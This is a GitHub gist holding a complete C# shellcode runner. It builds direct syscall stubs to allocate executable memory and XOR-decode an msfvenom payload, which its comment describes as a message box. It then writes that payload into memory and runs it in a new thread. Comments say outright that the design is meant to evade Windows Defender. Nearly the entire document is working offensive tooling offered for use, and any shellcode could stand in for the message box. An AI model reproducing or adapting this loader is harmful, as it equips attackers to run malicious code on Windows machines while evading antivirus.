Skip to content

Instantly share code, notes, and snippets.

@FrankSpierings
Last active May 19, 2022 10:09
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save FrankSpierings/8f9931a76d168ffa5e3cfe0537ed09f6 to your computer and use it in GitHub Desktop.
Save FrankSpierings/8f9931a76d168ffa5e3cfe0537ed09f6 to your computer and use it in GitHub Desktop.
D/Invoke Shellcode Runner
/*
- Compile: docker run --rm -it -v /tmp/data:/tmp/data mono csc /tmp/data/dinvoke-shellcode.cs -out:/tmp/data/dinvoke-shellcode.exe /platform:x64 /unsafe
- Reference (Thanks!) : https://jhalon.github.io/utilizing-syscalls-in-csharp-1/
*/
using System;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.ComponentModel;
using Microsoft.Win32;
class Syscalls
{
// Required P/Invoke to make the syscall buffer executable
[DllImport("kernel32.dll")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
public static byte[] Syscall(UInt32 nr)
{
// Debug syscalls
Console.WriteLine(String.Format("[+] Syscall: {0:d04} (0x{0:x04})", nr));
byte[] syscall = {
0x4C, 0x8B, 0xD1, // mov r10, rcx
0xB8, 0x00, 0x00, 0x00, 0x00, // mov eax, <SYSCALL>
0x0F, 0x05, // syscall
0xC3 // ret
};
Buffer.BlockCopy(BitConverter.GetBytes(nr), 0, syscall, 4, sizeof(UInt32));
return syscall;
}
// Find the release number of the operating system to determine the correct syscall
public static string ReleaseId() {
string releaseid = (string) Registry.GetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion", "ReleaseId", "");
Console.WriteLine(String.Format("[+] Release: {0}", releaseid));
return releaseid;
}
public static uint NtAllocateVirtualMemory(
IntPtr ProcessHandle,
out IntPtr BaseAddress,
UInt32 ZeroBits,
ref UInt32 RegionSize,
UInt32 AllocationType,
UInt32 Protect)
{
byte[] syscall = Syscall(24);
unsafe
{
fixed (byte* ptr = syscall)
{
IntPtr memoryAddress = (IntPtr)ptr;
if (!VirtualProtect(memoryAddress, (UIntPtr)syscall.Length, 0x00000040, out uint lpflOldProtect))
{
throw new Win32Exception();
}
Delegates.NtAllocateVirtualMemory assembledFunction = (Delegates.NtAllocateVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtAllocateVirtualMemory));
return (uint)assembledFunction(
ProcessHandle,
out BaseAddress,
ZeroBits,
ref RegionSize,
AllocationType,
Protect);
}
}
}
public static uint NtWriteVirtualMemory(
IntPtr ProcessHandle,
IntPtr BaseAddress,
byte[] Buffer,
UInt32 NumberOfBytesToWrite,
out UInt32 NumberOfBytesWritten)
{
byte[] syscall = Syscall(58);
unsafe
{
fixed (byte* ptr = syscall)
{
IntPtr memoryAddress = (IntPtr)ptr;
if (!VirtualProtect(memoryAddress, (UIntPtr)syscall.Length, 0x00000040, out uint lpflOldProtect))
{
throw new Win32Exception();
}
Delegates.NtWriteVirtualMemory assembledFunction = (Delegates.NtWriteVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtWriteVirtualMemory));
return (uint)assembledFunction(
ProcessHandle,
BaseAddress,
Buffer,
NumberOfBytesToWrite,
out NumberOfBytesWritten);
}
}
}
public static uint NtCreateThreadEx(
out IntPtr ThreadHandle,
UInt32 DesiredAccess,
IntPtr ObjectAttributes,
IntPtr ProcessHandle,
IntPtr StartAddress,
IntPtr Parameter,
bool CreateSuspended,
Int32 StackZeroBits,
Int32 SizeOfStack,
Int32 MaximumStackSize,
IntPtr AttributeList)
{
byte[] syscall;
string releaseid = ReleaseId();
switch (releaseid) {
case "1507":
syscall = Syscall(179);
break;
case "1511":
syscall = Syscall(180);
break;
case "1607":
syscall = Syscall(182);
break;
case "1703":
syscall = Syscall(185);
break;
case "1709":
syscall = Syscall(186);
break;
case "1803":
syscall = Syscall(187);
break;
case "1809":
syscall = Syscall(188);
break;
case "1903":
case "1909":
syscall = Syscall(189);
break;
case "2004":
case "20H2":
syscall = Syscall(193);
break;
case "2009":
syscall = Syscall(193);
break;
default:
Console.WriteLine(String.Format("[!] Unknown Release ID: {0}", releaseid));
syscall = Syscall(198);
break;
}
unsafe
{
fixed (byte* ptr = syscall)
{
IntPtr memoryAddress = (IntPtr)ptr;
if (!VirtualProtect(memoryAddress, (UIntPtr)syscall.Length, 0x00000040, out uint lpflOldProtect))
{
throw new Win32Exception();
}
Delegates.NtCreateThreadEx assembledFunction = (Delegates.NtCreateThreadEx)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtCreateThreadEx));
return (uint)assembledFunction(
out ThreadHandle,
DesiredAccess,
ObjectAttributes,
ProcessHandle,
StartAddress,
Parameter,
CreateSuspended,
StackZeroBits,
SizeOfStack,
MaximumStackSize,
AttributeList);
}
}
}
public static uint NtWaitForSingleObject(
IntPtr Handle,
Boolean Alertable,
IntPtr pTimeOut)
{
byte[] syscall = Syscall(4);
unsafe
{
fixed (byte* ptr = syscall)
{
IntPtr memoryAddress = (IntPtr)ptr;
if (!VirtualProtect(memoryAddress, (UIntPtr)syscall.Length, 0x00000040, out uint lpflOldProtect))
{
throw new Win32Exception();
}
Delegates.NtWaitForSingleObject assembledFunction = (Delegates.NtWaitForSingleObject)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtWaitForSingleObject));
return (uint)assembledFunction(
Handle,
Alertable,
pTimeOut);
}
}
}
public struct Delegates
{
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate uint NtAllocateVirtualMemory(
IntPtr ProcessHandle,
out IntPtr BaseAddress,
UInt32 ZeroBits,
ref UInt32 RegionSize,
UInt32 AllocationType,
UInt32 Protect
);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate uint NtWriteVirtualMemory(
IntPtr ProcessHandle,
IntPtr BaseAddress,
byte[] Buffer,
UInt32 NumberOfBytesToWrite,
out UInt32 NumberOfBytesWritten
);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate uint NtCreateThreadEx(
out IntPtr ThreadHandle,
UInt32 DesiredAccess,
IntPtr ObjectAttributes,
IntPtr ProcessHandle,
IntPtr StartAddress,
IntPtr Parameter,
bool CreateSuspended,
Int32 StackZeroBits,
Int32 SizeOfStack,
Int32 MaximumStackSize,
IntPtr AttributeList
);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate uint NtWaitForSingleObject(
IntPtr Handle,
Boolean Alertable,
IntPtr pTimeOut
);
}
}
class Program
{
// docker run --rm -it metasploitframework/metasploit-framework bash -c "./msfvenom -p windows/x64/messagebox -f EXITFUNC=thread -f hex 2>/dev/null" | python3 /tmp/data/xorencrypt-csharp.py
const byte key = 0xe5;
static byte[] buf = new byte[295] {
0x19, 0xad, 0x64, 0x01, 0x15, 0x1a, 0x1a, 0x1a, 0x0d, 0x35, 0xe5, 0xe5, 0xe5, 0xa4, 0xb4, 0xa4,
0xb5, 0xb7, 0xb4, 0xb3, 0xad, 0xd4, 0x37, 0x80, 0xad, 0x6e, 0xb7, 0x85, 0xdb, 0xad, 0x6e, 0xb7,
0xfd, 0xdb, 0xad, 0x6e, 0xb7, 0xc5, 0xdb, 0xad, 0x6e, 0x97, 0xb5, 0xdb, 0xad, 0xea, 0x52, 0xaf,
0xaf, 0xa8, 0xd4, 0x2c, 0xad, 0xd4, 0x25, 0x49, 0xd9, 0x84, 0x99, 0xe7, 0xc9, 0xc5, 0xa4, 0x24,
0x2c, 0xe8, 0xa4, 0xe4, 0x24, 0x07, 0x08, 0xb7, 0xa4, 0xb4, 0xdb, 0xad, 0x6e, 0xb7, 0xc5, 0xdb,
0x6e, 0xa7, 0xd9, 0xad, 0xe4, 0x35, 0xdb, 0x6e, 0x65, 0x6d, 0xe5, 0xe5, 0xe5, 0xad, 0x60, 0x25,
0x91, 0x8a, 0xad, 0xe4, 0x35, 0xb5, 0xdb, 0x6e, 0xad, 0xfd, 0xdb, 0xa1, 0x6e, 0xa5, 0xc5, 0xac,
0xe4, 0x35, 0x06, 0xb9, 0xad, 0x1a, 0x2c, 0xdb, 0xa4, 0x6e, 0xd1, 0x6d, 0xad, 0xe4, 0x33, 0xa8,
0xd4, 0x2c, 0xad, 0xd4, 0x25, 0x49, 0xa4, 0x24, 0x2c, 0xe8, 0xa4, 0xe4, 0x24, 0xdd, 0x05, 0x90,
0x14, 0xdb, 0xa9, 0xe6, 0xa9, 0xc1, 0xed, 0xa0, 0xdc, 0x34, 0x90, 0x33, 0xbd, 0xdb, 0xa1, 0x6e,
0xa5, 0xc1, 0xac, 0xe4, 0x35, 0x83, 0xdb, 0xa4, 0x6e, 0xe9, 0xad, 0xdb, 0xa1, 0x6e, 0xa5, 0xf9,
0xac, 0xe4, 0x35, 0xdb, 0xa4, 0x6e, 0xe1, 0x6d, 0xad, 0xe4, 0x35, 0xa4, 0xbd, 0xa4, 0xbd, 0xbb,
0xbc, 0xbf, 0xa4, 0xbd, 0xa4, 0xbc, 0xa4, 0xbf, 0xad, 0x66, 0x09, 0xc5, 0xa4, 0xb7, 0x1a, 0x05,
0xbd, 0xa4, 0xbc, 0xbf, 0xdb, 0xad, 0x6e, 0xf7, 0x0c, 0xac, 0x1a, 0x1a, 0x1a, 0xb8, 0xac, 0x22,
0x24, 0xe5, 0xe5, 0xe5, 0xe5, 0xdb, 0xad, 0x68, 0x70, 0x1b, 0xe5, 0xe5, 0xe5, 0xdb, 0xa9, 0x68,
0x60, 0xea, 0xe4, 0xe5, 0xe5, 0xad, 0xd4, 0x2c, 0xa4, 0x5f, 0xa0, 0x66, 0xb3, 0xe2, 0x1a, 0x30,
0xad, 0xd4, 0x2c, 0xa4, 0x5f, 0x15, 0x50, 0x47, 0xb3, 0x1a, 0x30, 0xad, 0x80, 0x89, 0x89, 0x8a,
0xc9, 0xc5, 0x83, 0x97, 0x8a, 0x88, 0xc5, 0xa8, 0xb6, 0xa3, 0xc4, 0xe5, 0xa8, 0x80, 0x96, 0x96,
0x84, 0x82, 0x80, 0xa7, 0x8a, 0x9d, 0xe5 };
static void Main(string[] args)
{
Process p = Process.GetCurrentProcess();
UInt32 size = (uint) buf.Length;
Syscalls.NtAllocateVirtualMemory(p.Handle, out IntPtr hAddr, 0, ref size, 0x3000, 0x40);
// Xor decode
byte[] dec_buf = new byte[buf.Length];
for(int i = 0; i < buf.Length; i++)
{
dec_buf[i] = (byte)(((uint)buf[i] ^ key) & 0xff);
// Copy one byte at a time to make it harder for Windows Defender ;)
// byte[] b = new byte[1] {(byte)(((uint)buf[i] ^ key) & 0xff)};
// Marshal.Copy(b, 0, IntPtr.Add(hAddr, i), 1);
}
// Copy the buffer using a syscall to evade Windows Defender.
Syscalls.NtWriteVirtualMemory(p.Handle, hAddr, dec_buf, (uint) dec_buf.Length, out UInt32 written);
Syscalls.NtCreateThreadEx(out IntPtr hShellcodeThread, 0x1FFFFF, IntPtr.Zero, p.Handle, hAddr, IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero);
Syscalls.NtWaitForSingleObject(hShellcodeThread, false, IntPtr.Zero);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment